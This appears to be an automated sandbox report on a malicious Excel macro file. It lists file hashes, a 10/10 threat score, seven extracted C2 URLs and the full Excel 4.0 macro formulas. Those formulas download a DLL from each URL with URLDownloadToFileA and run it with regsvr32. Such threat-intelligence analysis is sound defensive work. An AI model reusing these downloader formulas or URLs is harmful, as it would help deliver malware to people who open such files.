General

  • Target

    67738d67dc177220e327de0edcc4f512966d1d2001e1f6213d5e84634ee2241e

  • Size

    21KB

  • MD5

    b248f43d0e31c1e1e30881d08d6723da

  • SHA1

    68d0dd80444ded20935baa4bce2a83aef050ea65

  • SHA256

    67738d67dc177220e327de0edcc4f512966d1d2001e1f6213d5e84634ee2241e

  • SHA512

    ce7d0da268e4bfc6973fca5515d5066127166bc010f9806f7b56595adf67a13f4bdb0316bb745cfae12ae9c0fece4fbd45932712b87de680518593fb3707e724

  • SSDEEP

    384:ThuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:TtsNxzXQFCBn9kC+xbL71

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

https://brutobrasil.com.br/pdf/toO18cIP3/

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/

http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/

http://bcelectronics.co.za/wp-content/grKnz1V/

http://bebesel.com.tr/cgi-bin/1wy3oHO/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 67738d67dc177220e327de0edcc4f512966d1d2001e1f6213d5e84634ee2241e
    .xlsm office2007